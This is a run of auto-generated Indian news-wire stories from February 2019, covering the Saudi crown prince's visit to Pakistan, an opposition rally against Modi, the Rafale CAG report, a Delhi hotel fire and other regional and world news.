(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Pakistan and Saudi Arabia will sign at least eight MoUs during Crown Prince Mohammad bin Salman's visit to the country,



Foreign Minister Shah Mahmood Qureshi said on Wednesday.

The Prince is scheduled to arrive on in Pakistan on Saturday on a two-day trip.

Qureshi addressing media in Islamabad said that the two sides had done proper homework ahead of the visit, which will probably be the biggest trip by a Saudi royal, in terms of composition and number of entourage, in the history of relations between the two countries.

"We hope that at least eight MoUs will be signed during the high-powered visit," he said.

Saudi Arabia is our close and trustworthy friend and the relations with the visit of Crown Prince Muhammad Bin Salman will be improved further, he said.

He said that back-to-back visits of Prime Minister Imran Khan to Saudi Arabia also helped to improve the bilateral relations.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Pakistan planned elaborate security measures for Saudi Crown Prince Mohammad bin Salman's maiden visit to Islamabad on Saturday during which a number of agreements worth billions of dollars investment would be signed between the two countries.

Mohammad, who is also the Gulf Kingdom's vice president of the council of ministers and defence minister, will arrive here on February 16 on his first state visit to Pakistan since his elevation to the position of the crown prince in April 2017, the Foreign Office said.

An interior ministry official told PTI that a four-tier security arrangements have been made for the crown prince, colloquially known as MBS.

The outer most tier will be manned by police, the second by paramilitary Ranger, the third by the army and the fourth and inner most by the royal guards of the prince.

About 10 bullet proof vehicles have already been transported to Pakistan from Saudi Arabia which will be used by the prince and his aides.

Security officials said that Pakistan's airspace will be shut down on his arrival, cellphone services suspended and main routes closed to heavy traffic in Islamabad and Rawalpindi over the weekend.

Additional police and paramilitary Rangers personnel will be deployed at the main entry point to Islamabad while special check points will be set up within the city.

Security in the neighbouring garrison city of Rawalpindi will also be beefed up. Toy drone and similar objects will be banned and destroyed on sight and action will be taken against those using them.

The prince will also use about 130 royal guards. A 235-member delegation of the Islamic Military Counter-Terrorism Coalition (IMCTC), led by Pakistan's former army chief General Raheel Sharif, is in the capital to ensure foolproof security.

Special traffic plan were being put in place to divert vehicles.

Pakistan and Saudi Arabia are likely to sign over USD 10 billion investment agreements, including a multibillion dollar oil refinery in Gwadar, during his visit.

The prince will be accompanied by a high-powered delegation including members of the royal family, key ministers and leading businessmen.

Official sources said that his entourage includes about 1,000 officials.

During his visit, Pakistan and Saudi Arabia will be signing a number of agreements and MoUs in diverse sectors, including investment, finance, power, renewable energy, internal security, media, culture and sports.

The two countries will also discuss ways and means to develop a robust follow-up mechanism to ensure effective implementation and quick progress on tangible areas of cooperation.

The prince will meet Prime Minister Imran Khan, Army Chief Qamar Javed Bajwa and call on President Arif Alvi.

The Saudi ministers accompanying the crown prince will meet their counterparts to discuss bilateral cooperation in their respective fields.

On the sidelines of the visit, businessmen of the two countries will also meet to discuss opportunities of collaboration in the private sector.

Saudi Arabia has committed USD 6 billion to Pakistan as part of a bailout package to help shore up Islamabad's dwindling foreign currency reserves.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Scores of outsourced workers held a protest Wednesday outside the Himachal Pradesh Assembly demanding regularisation of their services.

Supported by the Centre of Indian Trade Unions (CITU), the workers protesting under the aegis of Outsourced Workers Association (OWA) led by its state president Yashpal reached the Assembly in the shape of a procession from local Panchayat Bhawan for its gherao.

However, the police stopped them a few yards away from the Assembly where they started a sit-in dharna.

Currently, around 45,000 outsourced workers are serving in various government departments including PWD, Health, Irrigation and Public Health (IPH), Education, boards and corporations, CITU national secretary Kashmir Singh, who also participated in the protest, said.

"The BJP had promised before last Assembly elections to regularise all outsourced employees but it forgot its promise after coming to power," Singh said.

Two outsourced workers Seema and Hem Lata claimed that they had been working in Satluj Jal Vidyut Nigam Ltd (SJVN), a PSU, and Indira Gandhi Medical College (IGMC) and Hospital for 14 and 4 years respectively, but their services were not regularised yet.

Alleging politician-bureaucrat-contractor nexus behind outsourced policy, the CITU national secretary demanded all such workers be regularised without any further delay.

Both the ruling BJP and the opposition Congress have hand in gloves for outsourced policies as several leaders of both the political parties are running outsourcing companies and societies, he alleged.

If posts exist in government departments, why the state government is hesitating to appoint regular employees, he asked.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Democracy has become 'Namocracy' and the situation in the country is worse than emergency, West Bengal Chief Minister Mamata Banerjee said Wednesday, and asserted opposition parties will fight unitedly at the national level to oust the NDA from power.

Addressing a mega rally organised by the Aam Aadmi Party (AAP) at the Jantar Mantar here, the Trinamool Congress chief also attacked the Centre over the CBI's failed bid to question Kolkata police commissioner Rajeev Kumar at his home, saying she had not seen a government that "stooped so low".

"It is Prime Minister's last day as elected leader in Parliament today," she said after the Lok Sabha adjourned sine die.

"Everyone is afraid of Gabbar Singh. There are two of them -- (Prime Minister Narendra) Modi and (BJP chief Amit) Shah," she said.

A host of opposition leaders including TDP chief N Chandrababu Naidu, National Conference's Farooq Abdullah, Nationalist Congress Party's Sharad Pawar and CPI(M)'s Sitaram Yechury spoke during the rally.

"Opposition parties will fight unitedly at the national level," Banerjee asserted.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In February 1979, Iran overthrew its U.S.-backed monarchy and established the Islamic Republic. The victory of the Islamic Revolution in Iran was an earthquake that upended the political order in the Middle East. Forty years later, the consequences continue to reverberate in the region and on the global stage. China Global Television Network wonders in its article Iran's Islamic Revolution: Political quake is still shaking Middle East: what has the revolution meant for Iran itself and how has it affected its allies and adversaries both near and far?

Hua Liming, former Chinese Ambassador to Iran, witnessed the Islamic Revolution in Iran. He believed many changes have taken place since the revolution, one of the biggest is Iran (has) become independent, and it became an anti-American country from a pro-American country. Following the fall of the Shah, Iranians can proudly decide their own destiny in Tehran, he added.

The other notable change is that Iran started to be closed, as Ambassador Hua mentioned, Iran used to be a very open society. The Third change is that the revolution changed the geopolitical map of the Middle East  Iran used to be the ally of Saudi Arabia and all the Gulf countries and most of the Arabic countries, but now Iran became the enemy of many Arabic countries, and the disastrous war between Iran and Iraq, half a million people were killed, and one billion casualties. Ambassador Hua said.

Einar Tangen, an American current affairs commentator, observed that Iran also paid a greater price for winning the revolution 40 years ago. Back in the 1980s, there was about 1.9 percent of the world's GDP, but last year there was about 1.3 percent. So it doesn't mean it hasn't grown, but it has not grown in proportion to the rest of the world. They are actually taken the back seat. They are far more self-reliant now, after these many years of sanctions, they literally have an island economy.

Ghanbar Naderi, a columnist with Kayhan International in Tehran, told CGTN Dialogue the younger generation's attitude towards the U.S. He said young Iranians seldom have any feelings about Iran's revolution, rather, they turn to love the American way of life, they don't mind to go to Europe and America to study and live. But they will definitely defend their own nation, he added.

China ranks as Iran's largest trading partner, and the top buyer of Iranian oil. Forty years ago, China established diplomatic ties with the U.S. on the contrary and began its road of economic take-off. Back then U.S. President Jimmy Carter imposed the first U.S. sanctions against Iran, and the country's still suffering from that.

Naderi also expressed his concerns over Iran-U.S. relations. The country is still under military threat and sanctions, we have to stand behind our government, although we regret many mistakes in the past now we have come to a conclusion that Americans want to change Iran into another Syria or Iraq, or Yemen, and now even Venezuela, they are going to do that one way or another

Ambassador Hua echoed with Naderi, believing that Iranian people love their country, and this is part of the Persian culture. He said Iranian people will unite once their country encounters invasion.The Delhi BJP slammed the AAP on Wednesday over its Jantar Mantar rally of opposition leaders, saying Arvind Kejriwal was now sitting with those whom he had once held as corrupt during his days as an anti-corruption crusader.

The Kejriwal-led Aam Aadmi Party (AAP) hosted the "Tanashahi Hatao, Loktantra Bachao Rally" here, in which opposition leaders including Kejriwal, Mamata Banerjee and N Chandrababu Naidu mounted a blistering attack on the BJP-led government at the Centre and Prime Minister Narendra Modi.

"Those who were villains in Kejriwal's list are his heroes today. He sat on a dharna at Jantar Mantar with the people who were called corrupt by him," Delhi BJP chief Manoj Tiwari said.

Stating that the BJP would observe February 13, marking the fourth anniversary of the AAP government in Delhi, as "Black Day", Tiwari alleged that the national capital was "ruined" under Kejriwal's rule.

Delhi BJP workers, led by him, would "purify" the Jantar Mantar area, where the AAP's opposition rally was held, and clean the area with "Gangajal" from Prayagraj, where the Kumbh was underway, Tiwari said.

He mocked the opposition rally, claiming that the Ramlila Maidan was not chosen as its venue because the AAP had failed to gather people to fill the large ground and hence, Jantar Mantar was selected.

"The opposition rally flopped, because they did not have the courage to hold it at the Ramlila Maidan. These parties, which claim to be pro-poor, are assembling at Jantar Mantar only to cover up their corruption and loot," the Delhi BJP chief charged.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Opposition leaders gathered on Wednesday for the third time in less than a month in a show of unity and mounted a blistering attack against Prime Minister Narendra Modi and the BJP, saying the two should be "ousted" in the coming elections as they are a "threat" to democracy and constitutional values.

In fiery speeches at a mega rally, West Bengal Chief Minister Mamata Banerjee asserted the situation in the country is "more dangerous" than emergency while her Delhi counterpart Arvind Kejriwal said people should not repeat the mistake of making a "class 12 pass out" as prime minister and they should back an "educated" leader.

Besides Banerjee and Kejriwal, Andhra Pradesh Chief Minister and TDP chief Chandrababu Naidu, National Conference leader Farooq Abdullah, Sharad Yadav of the Loktantrik Janata Dal (LJD), NCP's Sharad Pawar, DMK's Kanimozhi, ex-Arunachal chief minister Gegong Apang, CPI(M) General Secretary Sitaram Yechury, CPI leader D Raja and Samajawadi Party(SP) leader Ram Gopal Yadav spoke at the rally at Jantar Mantar.

Banerjee gave a clarion call to opposition parties to fight unitedly at the national level to oust the BJP-led NDA from power.

"Any fight with the Congress will remain in the state(West Bengal). At the national level, we will fight together, this I am saying from the heart... For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything," she said, adding democracy in the country has become 'Namocracy'.

Firing political salvos and using trenchant wit, the TMC supremo appealed to all the opposition parties to play to their strengths and not cut into each others' votes. She also asked them to ensure they get all the seats in the states they are strong in.

"I went to a Gandhi statue and and thought that Modi has to be removed", she said,



"People who have blood on their hands are ruling the country".

"It is the prime minister's last day as elected leader in Parliament today," she said after the Lok Sabha adjourned sine die.

"Everyone is afraid of Gabbar Singh. There are two of them -- (Prime Minister Narendra) Modi and (BJP chief Amit) Shah," she claimed.

She said the PM's speech in Parliament was "his last" in the House as a people's representative and that his government has reached its "expiry date".

Banerjee also raised slogans -- 'Modi Hatao, Loktantra Bachao. Modi Hatao, Desh Bachao'.

The mega rally -- 'Tanashahi Hatao, Loktantra Bachao Satygraha' --was convened by Aam Aadmi Party, with Kejirwal, its supremo alleging Modi was trying to "tear apart the Constitution" and "destroy democracy".

"Last time you made a class 12 pass Prime Minister of the country. Do not commit the mistake this time and find someone who is educated....," Kejriwal said, referring to questions raised on Modi's educational qualifications.

Describing the BJP as a "threat to democracy" which must be defeated in the coming general election, the opposition leaders spoke in unison -- "Modi has to go".

The Congress was represented by Anand Sharma.

Disgruntled BJP lawmaker Shatrughan Sinha too later joined the leaders and trained his guns at his own party's government.

On a day when the CAG report on the 2015 Rafale fighter deal was tabled in Parliament, Sinha said Modi should speak the truth on the agreement between India and France because, as prime minister, he is accountable to the nation.

He even egged on the crowd on the issue, as they chanted, "Chowkidar Chor Hai".

The rally was organised nearly three weeks after Banerjee hosted Opposition leaders in Kolkata in a similar show of strength on January 19. On Monday, Naidu's day-long fast for special status to Andhra Pradesh became a rallying point for opposition leaders to forge a united front.

"We are going to defeat NDA in Lok Sabha polls. Modi will be ex-PM very soon," Naidu said.

Yechury alleged that BJP is professing of 'Dushashan' by pitting brothers against brothers.

"There is need to replace this government for a better India. This chowkidar needs to be removed to save the country.

"BJP is like Kaurava Sena but the Pandavas (Opposition) will defeat them and save the country," he said.

Interestingly, minutes before Banerjee arrived, Yechury and CPI leader D Raja moved away from the stage.

Raja asserted that ever since Modi became prime minister, there have been attacks on constitutional values of the country. He said India is defined as a secular, democratic republic while BJP's ideology is "sectarian, communal and divisive".

Congress leader Sharma said "this dharna is a message of voice of India that has been betrayed in the last five year by BJP and Modi"



Huge posters having the image of B R Ambedkar and slogans like "Tanashahi Hatao Loktantra Bachao" dotted the venue.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Wednesday asserted that operators cannot charge TV viewers more than their usual monthly outgo under the 'best fit plan' to be offered during the transition period, and cautioned that the regulator will take action on any such complaint.

" has clearly asked distribution platform owners (DPOs) to ensure that for consumers, the monthly outgo under the best fit plan should not exceed the payout per month of existing plan of the subscriber," Secretary SK Gupta told PTI.

Gupta said Telecom Regulatory Authority of India (TRAI) is monitoring the situation and will take action on consumer complaints, if any, on the issue.

"TRAI has directed DPOs to give best fit plan to customers who have not exercised their option as of now, in order to protect their interest and ensure that they do not face any inconvenience," Gupta said.

The regulator had Tuesday extended the timeline for consumers to make their channel preferences till March 31, 2019.

TRAI had said that the best fit plan should be designed based on consumers' usage pattern and language spoken.

The regulator had said that subscribers will be free to change their best fit plan at any date and time on or before March 31, 2019 and the DPO will convert their best fit plan into a desired pack (opted by the consumer) within 72 hours of subscribers making their channel preferences known.National Conference leader Omar Abdullah Wednesday called for a probe into the blast in Pulwama district of Jammu and Kashmir in which 12 schoolchildren were injured.

" must be made conflict neutral. It is unacceptable & inhuman to have explosives going off inside class rooms. I condemn this act unequivocally & hope that it is properly investigated. The truth must be known & the guilty must be severely punished," Omar tweeted.

A blast took place inside a private school in Narbal village of Kakapora area of the south Kashmir district this afternoon.

At least 12 students of class 10 were injured in the blast which happened when they were taking winter tuition in the school.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Assam Finance Minister and senior BJP leader Himanta Biswa Sarma Wednesday said not passing the Citizenship Bill in Rajya Sabha is a defeat for Assam and claimed without it 17 assembly seats in the state will go to Bangladeshi Muslims.

Sarma, who is also the convenor of North East Democratic Alliance, said his party is committed to the Bill and it will fight the elections with this resolution.

The Bill lapsed on Wednesday with the Rajya Sabha being adjourned sine die on the last day of the Budget session, the last parliamentary session before the Lok Sabha polls.

It was passed by the Lok Sabha on January 8.

"I think not passing the Bill in Rajya Sabha is a defeat for Assam. Without the Bill, 17 (assembly) constituencies will go to Bangladeshi Muslims," he told reporters.

"Who will save the (Assamese) community?" Sarma added.

The NDA does not have majority in the Rajya Sabha so it could not introduce the document. But it will bring in the legislation again once the BJP-led alliance gets majority, he said.

"My party supports the Bill. BJP is committed and will be committed to it forever. BJP will fight (the elections) with this commitment," Sarma said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Rajasthan hospitals will hand over new mothers their baby's horoscope when they send them home after the delivery, if a proposal being mulled by the state government is implemented.

The hospital-delivered horoscope would also suggest what the newborn should be named, the proposal says.

The proposal was initiated at a meeting of January 3 by the state's Sanskrit education department.

The Jagadguru Ramanandacharya Rajasthan Sanskrit University (JRRSU)-Jaipur was made the nodal agency to prepare the proposal.

The department was following up on the Congress election manifesto that promised to encourage the study of Sanskrit, and also set up a 'Vedik Sanskar evam Shiksha Board' to promote Vedic knowledge.

The proposal on horoscopes has been prepared and forwarded to the government for further action, Ashok Sharma, university's registrar said.

The proposal has suggested six names for the horoscope scheme with 'Rajiv Gandhi Janmapatri-Naamkaran Yojna' being one of them.

The scheme's pilot project will be rolled out in five government hospitals in Jaipur as a free service, the proposal says.

At a later stage, the scheme will be implemented in all government and private hospitals if the proposal is accepted. New parents will pay Rs 51 for this at government hospitals and private hospitals will charge Rs 101.

The proposal claims the idea promotes Sanskrit and Vedic knowledge. It will also help 3,000 astrologers, who will be reimbursed for their efforts.

The government's initiative is welcome as it underlines the importance of Sanskrit language. This is on the lines of our traditional Hindu culture, Shastri Koshalendra Das, who is an assistant professor at the JRRSU, said.

The astrologers engaged as resource persons under the scheme should have a degree or diploma in astrology and a licence from the state government or the JRRSU.

The astrologers will get Rs 40 out of Rs 51 charged at government hospitals and Rs 80 out of Rs 101 paid by parents at private hospitals. Under the proposal, the remaining amount will go to the university.

A unique code will be given for every horoscope and a more detailed analysis can be downloaded from the university's website by paying Rs 200.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)India's Anirban Lahiri is all set to return in action at the star-studded Genesis Open after a month-long break during which he and wife Ipsa were blessed with a baby girl.

Lahiri and his wife announced the arrival of their daughter Tisya, who was born on February 4.

"Tisya's birth was the best thing ever in our lives and we feel really blessed. It does make me more motivated as I am back in action at the Genesis Open," said Lahiri.

The 31-year-old Lahiri, who featured at the Sony Open in Hawaii and Desert Classic, missed the cut in the latter event. He then took time off to prepare for parenthood.

This week's Genesis Open will also feature all the big names including Tiger Woods, Rory McIlroy, Justin Thomas, Phil Mickelson, Xander Schauffele and Jordan Spieth.

Woods will be making his 13th appearance at the tournament, and will play with Justin Thomas and Rory McIlroy in the event's opening rounds.

Last year, Bubba Watson joined Arnold Palmer and Ben Hogan as three-time victors in Los Angeles.

Apart from Woods, the field's star attraction will be Mickelson who arrives fresh off win number 44 at Pebble Beach on Monday.

There is also that the event at Riviera CC will receive elevated PGA Tour status for 2020.

That means the winner will be receiving a three-year tour exemption, a higher tournament purse and a reduced field, from 144 players this year to 120 next winter.

That will put it alongside the set-up to Arnold Palmer's Bay Hill Invitational and Jack Nicklaus's Memorial Tournament.

Lahiri was tied 26th last year at the Genesis Open at Riviera Country Club, and the year before that he was tied 64th.

In the first two rounds on Thursday and Friday, Lahiri will play alongside Americans Luke List and Sam Saunders.

Lahiri, who has fallen to 167th in World Rankings, is aiming to get back into his rhythm and get into the International team for the 2019 Presidents Cup for the third successive time.

This is Lahiri's fourth year on the PGA Tour and is he still looking for his maiden win, even though he has come close to it.

"I love the course and am all geared up for it," said Lahiri of the Riviera Country Club.

"I feel at home on the PGA Tour and I feel my game is in the right place. But I am not stressing about the results."



Lahiri finished 99th in last season's FedExCup standings following four top-10 finishes.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)All 78 detainees at a prison in southern Haiti escaped Tuesday, a national police spokesman said, during a protest against President Jovenel Moise, who has faced increasingly violent demonstrations in the capital Port-au-Prince.

An investigation has been opened into the prison break in the town of Aquin, where witnesses said an anti-Moise protest took place in front of the police station right adjoining the penitentiary.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The probe team of the North Delhi Municipal Corporation (NDMC) Wednesday visited the site of accident at a hotel in Karol Bagh, a day after a massive fire in it killed 17 people, officials said.

"The team is headed by the deputy commissioner of the neighbouring Keshawpuram Zone, to ensure impartial probe," a senior NDMC official said.

The team visited the site a day after the mayor had ordered a probe.

Indicating violation of civic norms including running a makeshift restaurant on the rooftop, municipal officials Tuesday had ordered a probe into the fire incident at the Hotel Arpit Palace which falls under Karol Bagh Zone of the NDMC.

Officials said the report of the probe is expected to come by Saturday. "A probe has been ordered and its report is expected in three days. The probe will seek to find if there were any lapses from the civic officials' end, or Delhi Fire department's end and also talk about ensuring that such incidents do not recur," North Delhi Mayor Adesh Gupta said Tuesday.

Action will be taken against civic employees if they are found guilty of committing any lapses, he said.

The mayor had also visited the site of the fire that broke out in the early hours of Tuesday and took stock of the situation.

Suggesting that a short-circuit may have led to the incident, a senior NDMC official had Tuesday said, as per the records, the building had faced "intermittent partial demolition" or other civic action under the Delhi Municipal Corporation Act from mid-June 1993 to January 1994, for unauthorised constructions.

There are apparent civic norms violations, including running a makeshift restaurant on the rooftop, adding that the probe will take into account all of that and previous violations if any, the official said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Rafale deal signed by the Modi government to procure 36 fighter jets from France's Dassault got 2.86 per cent cheaper price than what was negotiated during the previous UPA regime in 2007, the much-awaited CAG report on the controversy-hit transaction showed on Wednesday.

Without disclosing pricing details in absolute terms, the Comptroller and Auditor General (CAG) also said the deal was 6.54 per cent expensive in terms of engineering support package and performance-based logistics for the Indian Air Force, while the training costs has got 2.68 per cent expensive than the 2007 offer.

The CAG also flagged the drawbacks of settling for a 'Letter of Comfort' rather than a sovereign guarantee by the French government and said Dassault benefitted due to absence of such guarantees.

The report, however, was silent on the issue of offset partners, which has been a key point on which the Congress has been attacking Narendra Modi-led government and has been alleging corruption in Anil Ambani's Reliance Group getting one of the offset contracts.

Soon after the report was tabled in Parliament, Union Minister Arun Jaitley said the lies of the Congress and opposition parties stand exposed as the CAG report outlines that 2016 deal terms were lower in terms of price, faster in terms of delivery, while ensuring better maintenance and lower escalation.

On India-specific enhancements, CAG said the NDA deal was 17.08 per cent cheaper than the one negotiated by the then UPA government in 2007, while the weapons package offered in the new deal was 1.05 per cent cheaper, the 157-page report said.

For the overall price, the CAG has said the new deal is 2.86 per cent cheaper.

Defence Minister Nirmala Sitharaman has earlier said the deal struck by Modi government was 9 per cent cheaper than what was being negotiated by the Congress-led UPA government.

Congress, on the other hand, has been alleging that the price increased to Rs 1,600 crore per aircraft in the deal signed by the Modi government, as against Rs 520 crore during the UPA time.

In its report, the CAG has highlighted the drawbacks of settling for a 'Letter of Comfort' rather than a sovereign guarantee by the French government. It noted that the deal which was being negotiated in 2007 included a 15 per cent bank guarantee against advance payments.

The training aspects covered under the deal is also 2.68 per cent expensive than the 2007 offer, the report said.

In the 2007 offer of 126 fighter jets, Dassault Aviation was to provide basic training to 26 pilots and 76 technicians at a certain cost. In 2015 deal for 36 Rafale fighter jets, the IAF increased the scope of training to 27 pilots, 146 technicians and two engineers.

The Modi government has been facing a torrent of attacks by Congress and its chief Rahul Gandhi over the fighter jet deal.

Gandhi on Monday had dubbed the CAG report on the Rafale deal as "Chowkidar Auditor General" report.

"That CAG report is a worthless report. I would term it as a 'Chowkidar Auditor General Report'. It is Narendra Modi's report, written for the chowkidar, on behalf of the chowkidar, for the chowkidar, by the chowkidar," he had said on Monday.

Following the report becoming public on Wednesday, Union Finance Minister Arun Jaitley hit out at the main opposition party.

"It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right. Satyameva Jayate" - the truth shall prevail. The CAG Report on Rafale reaffirms the dictum," Jaitley tweeted.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Several days ago strange events occured in quiet Belgian town of Liege: people screamed, chased each other and fought, and even used tear spay. All of this was captured on camera. That's how the World Congress of Georgians, initiated by ex-President Mikheil Saakashvili, began in Liege. Right now hundreds of thousands of Georgian emigrants live in the EU countries. Saakashvili urged all of them "to return home together."

Congress in Liege was organized in the framework of the "Together at Home" emmigrant movement. Former president convinces compatriots living in Europe that current "corrupt regime" prevents them from returning to their homeland, forcing them to live in foreign lands. An attempt of Saakashvilis opponents to disrupt this congress resulted in fights and drew attention of Georgian public to this movement.

Saakashvili hints that if in the near future "people will rise against dictatorship of Georgian oligarch Ivanishvili", then he may try to carry out scenario similar to the one that happened on the Polish-Ukrainian border in September of 2017 on the Turkish-Georgian in the spring. Ex-president, accompanied by hundreds of emigrants, is going to reach Georgian border, where he will surely be greeted by several thousand supporters with flags and banners .

Before this new "march to Tbilisi", Saakashvili urges Georgian emigrants to temporarily stop senging money to their homeland, "where greedy oligarch rules." At the same time, his party began to gather signatures, demanding to abolish majority elections and began transition to fully proportional system of elections to the parliament. In case their demands won't be fulfilled, supporters of former president threaten to hold mass protests in the capital and in other Georgian cities, demanding resignation of the government and early parliamentary elections. Next elections are scheduled for autumn of 2020.

However, due to his unpredictability, radicalism and extreme populism, Saakashvili scares some Georgian emigrants, who have already told him "no" 6 years ago and chose quiet and peaceful life in Europe.A naxal couple, collectively carrying a reward of Rs 13 lakh and allegedly handling Maoists' urban network in Nagpur in Maharashtra, surrendered Wednesday in Chhattisgarh's Rajnandgaon district, police said.

The ultras Nandu Devaji Behade and his wife Sati alias Kamla Irpa Kumeti were carrying rewards of Rs 8 lakh and Rs 5 lakh, respectively, a senior police officer said.

"The duo were trusted aides of in-charge of Maoists' Maharashtra Madhya Pradesh Chhattisgarh (MMC)zone Dipak alias Milind Teltumbade," Inspector General of Police (Durg Range) Ratanlal Dangi told PTI.

He said the couple turned themselves in before police "after realising that naxals were harassing tribals and poor people".

Behade, who also goes with moniker Vivek, used to carry an AK 47 rifle while moving in forests, the IG said.

He had joined the outlawed CPI (Maoists) while studying in Nagpur in 2004, after participating in several students' protests, the officer said.

"Since then, he served at various capacities in the over-ground and underground networks of ultras in neighbouring Maharashtra," Dangi said.

In 2017, Behade was made the area committee secretary of Maoists' central committee and coordination committee, and was sent to Nagpur to look after the urban network, the IG said.

On Sati's role, the IG said she became associated with the banned outfit in 2009. "In 2018, she was inducted as a member into the group of her husband," he added.

The couple was involved in at least nine violent incidents, including attacking police teams and killings, on the border between Maharashtra and Chhattisgarh, the IG said.

"In their statements, the surrendered naxals cited that senior Maoist leaders are keeping cadres from Chhattisgarh and Gadchiroli in the lower rung and exploiting them. They also said senior cadres exploited tribals and poor people," Dangi said.

Behade and Sati were given an encouragement amount of Rs 10,000 each, he said, adding that they will be given assistance as per the Surrender and Rehabilitation Policy of the Chhattisgarh government.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Seven Myanmar students were sentenced to three months in jail with hard labour for burning portraits of officials in protest over campus safety, a student activist said Wednesday, the latest draconian response to rippling discontent with authorities.

Those jailed were among dozens enacting a mock funeral on December 28 calling for more security at a Mandalay university in central Myanmar after a student's murder near its campus.

They burned paper coffins and portraits of the city's chief minister, Myanmar's security and home affairs ministers, and the head of the university, calling for increased security around the students' compound.

Three people were arrested during the protest and four others were detained a few days later, when they rallied for their peers' release.

The seven students were each sentenced to a total of three months in prison with hard labour for protesting without permission and arson, student leader Ei Mon Khin told AFP by phone from the court.

"They will be taken to Obo prison in Mandalay later," she said.

Time served will be deducted from their sentences, meaning they face a further one and a half months in jail.

This is one of several recent examples of a heavy-handed response to protests by authorities.

On Tuesday police fired rubber bullets and tear gas to disperse a crowd of several thousand in eastern Kayah state, the latest in a string of rallies against a statue of Aung San, father of civilian leader Aung San Suu Kyi.

He is widely revered by the majority ethnic Bamar (Burmese) population as an independence hero, but is viewed critically among many ethnic minority groups, who see him as a symbol of Bamar domination.

Police agreed Tuesday evening to release dozens of arrested protesters in return for a suspension of the rallies while talks take place, state-run Global New Light of Myanmar reported, a development welcomed by rights groups.

"The Myanmar authorities have a long history of using excessive and lethal force against peaceful protesters," said Fortify Rights CEO Matthew Smith.

"The government needs to break the trend now.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Samajwadi Party patriarch Mulayam Singh Yadav on Wednesday said he wished to see Narendra Modi back as prime minister, remarks which left the opposition squirming in Lok Sabha but were greeted by cheers from the treasury benches with the PM acknowledging Yadav's "blessings" with folded hands.

"I wish that all members come back to the House," Yadav said during the last sitting of the 16th Lok Sabha, drawing applause from the BJP members who are in a majority in the House.

He said pointing to Modi that he wishes that the BJP leader come back as the prime minister.

Ruling alliance members heartily cheered Yadav with chants of "Jai Shri Ram" as he praised Modi for "making efforts to take everyone along".

Modi acknowledged SP patriarch's praise with folded hands and later made a mention of Yadav's "blessings" in his speech.

The Samajwadi Party, which is led by Mulayam's son Akhilesh Yadav, has joined hands with the BSP in Uttar Pradesh to take on the BJP in the upcoming Lok Sabha elections.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Former JNU Students' Union president Kanhaiya Kumar Wednesday alleged that Prime Minister Narendra Modi was spreading lies in order to once again assume the top post after the Lok Sabha polls.

Kumar, who is facing sedition charges for allegedly raising anti-India slogans on the JNU campus in February 2016, said it was his right to question the BJP government over its "failure" to provide jobs or strengthening education and health sector.

"To become the PM again, he (Modi) is spreading lies one after another. His act is tarnishing Gujarat's image. Modiji you have to tell us what you have done during your tenure. You cannot stop me from seeking answers," he said while addressing a rally in Rajkot city.

Along with Kumar, independent MLA in Gujarat and Dalit leader Jignesh Mevani and Patidar leader Hardik Patel were also present in Rajkot to address 'Save Constitution Save Nation Rally', organised by former Congress MLA Indranil Rajyaguru.

Accusing the BJP of indulging in polarisation ahead of general elections, Kumar urged people to understand the party's "tactics" and remain united.

"A government is elected to create employment, construct schools and hospitals. It is my right to question the government. But when I seek answers, I am given threats. But I am not afraid of anyone," Kumar said.

Seeking to come clean on the charges levelled against him, Kumar said he never raised any anti-India slogans at the JNU.

"I have never raised any anti-India slogans. We all want 'azadi' (freedom) from our miseries. Our fight is all about abolishing discrimination and bringing equality as envisaged in our Constitution. But today, attempts are being made to destroy the very core of our Constitution," he said.

In his address, Mevani attacked the BJP saying the ruling party was stressing the Ram temple issue to divert people's attention from key issues, such as unemployment.

"People who had promised to give two crore jobs every year are now talking about Ram temple and Kumbh as elections are approaching. People did not vote them to power to build temples and mosques. People gave them votes for jobs and better education facilities," Mevani said.

Referring to the Statue of Unity, he said people want the government to build hospitals for the poor, not statues dedicated to Sardar Patel or Dr B R Ambedkar.

He added that 60 crore youths of this country have decided to uproot the BJP in the Lok Sabha elections.

On the 10 per cent EWS quota approved by the Modi government, Hardik Patel, another vocal critic of the BJP, claimed that he was presented in bad light for demanding the same for the un-reserved classes.

"I was even labelled as a Congress pawn. I was accused of doing divisive And now, when the BJP government itself approved such quota, people are saying it was a masterstroke by Modiji," he said.

In a stern warning, Hardik said even if he is imprisoned for the sedition charges, he will take "revenge" when his time comes.

Ahead of the rally, the trio also addressed a press conference in Rajkot.

At the press meet, Kanhaiya Kumar said the BJP government is scared of them ever since they have started organising such rallies aimed at saving Constitution.

He said though he belong to a humble family, he has been labelled as anti-national.

"I challenge Modi to send me behind bars if I have committed a crime. He cannot, because the Constitution still prevails in our country," Kumar told reporters.

During the press meet, Hardik, who is also facing sedition charges, said he and Kumar are innocent till the court convicts them.

The Patidar leader claimed that though he has made up is mind to contest the Lok Sabha polls, he was yet to decide on the seat.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Mexican mobster Joaquin "El Chapo" Guzman has been convicted of crimes spanning a quarter-century in a trial that laid bare his lavish lifestyle and penchant for extreme violence as head of one of the world's most powerful gangs.

The 61-year-old former boss of the notorious Sinaloa cartel -- famed for his brazen escapes from Mexican prisons -- faces life in prison for smuggling tons of cocaine, heroin, methamphetamine and marijuana into the United States.

He was also found Tuesday guilty on money laundering and weapons possession charges during a three-month trial in which witnesses described the mob boss beating, shooting and even burying alive those who got in his way.

